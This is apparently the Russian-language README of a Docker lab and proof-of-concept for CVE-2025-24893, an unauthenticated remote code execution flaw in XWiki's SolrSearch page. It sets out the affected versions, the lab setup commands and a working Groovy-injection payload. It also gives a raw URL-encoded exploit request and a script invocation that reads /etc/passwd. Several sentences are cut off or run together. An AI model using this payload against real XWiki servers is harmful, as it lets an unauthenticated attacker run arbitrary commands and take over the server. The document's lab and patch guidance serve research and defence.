
Эксплойт неаутентифицированного удаленного выполнения кода для XWiki SolrSearch (CVE-2025-24893) через внедрение Groovy в параметр text, с лабораторной средой на основе Docker и PoC-скриптом.
Main.SolrSearch открыта для гостей, а параметр text, поступающий от пользователя, оценивается как XWiki-синтаксис без достаточной проверки.text макрос {{groovy}} и выполнить произвольный код Groovy на сервере, а также вызвать команды операционной системы через "command".execute(). Эта уязвимость может быть использована с помощью одного GET-запроса без дополнительной аутентификации или токена.В этом каталоге используется официальный standalone-дистрибутив XWiki 15.10.1 и среда выполнения Java 17 для создания уязвимой среды.
| Параметр | Значение |
|---|---|
| CVE | CVE-2025-24893 |
| Продукт | XWiki Platform |
| Уязвимые версии | >= 5.3-milestone-2, < 15.10.11 / >= 16.0.0-rc-1, < 16.4.1 |
| Версии с исправлением | 15.10.11, 16.4.1 |
| Тип уязвимости | Eval Injection -> неавторизованное RCE |
| Необходимость аутентификации | Не требуется |
| Воздействие | Возможность выполнения команд на сервере |
Main.SolrSearch должна быть доступна для гостей.text как XWiki-синтаксис.groovy должен быть доступен для выполнения.Данная среда использует XWiki 15.10.1, поэтому вышеуказанные условия выполняются.
docker compose up -d --build
При первом запуске происходит автоматическая установка, это может занять несколько минут (примерно 6–7 минут).
docker compose ps
docker inspect -f '{{json .State.Health}}' xwiki-web
Когда в результате выполнения команд будет получен статус "Status":"healthy", конфигурация среды завершена, и можно проводить эксплуатацию.
pip install requests
Перед запуском exploit.py установите зависимости.
Основной пэйлоад приведен ниже.
}}}{{async async=false}}{{groovy}}println("id".execute().text){{/groovy}}{{/async}}
Этот пэйлоад вставляется в параметр text и оценивается на странице Main.SolrSearch. В результате println("id".execute().text) выполняется на сервере, и результат выполнения команды отражается в теле RSS-ответа.
Полный скрипт для запуска см. в exploit.py.
python3 exploit.py
Запуск указанного кода Python воспроизводит PoC. Команда по умолчанию — id.
python3 exploit.py -c "cat /etc/passwd"
Чтобы выполнить другую команду, передайте аргумент, как показано выше.
Или отправьте запрос по URL (пэйлоад для вывода id):
http://localhost:1337/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync+async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22id%22.execute%28%29.text%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D
Отображение id в ответе.
Просмотр файлов текущего каталога.
15.10.11 или выше, либо 16.4.1 или выше.SolrSearch.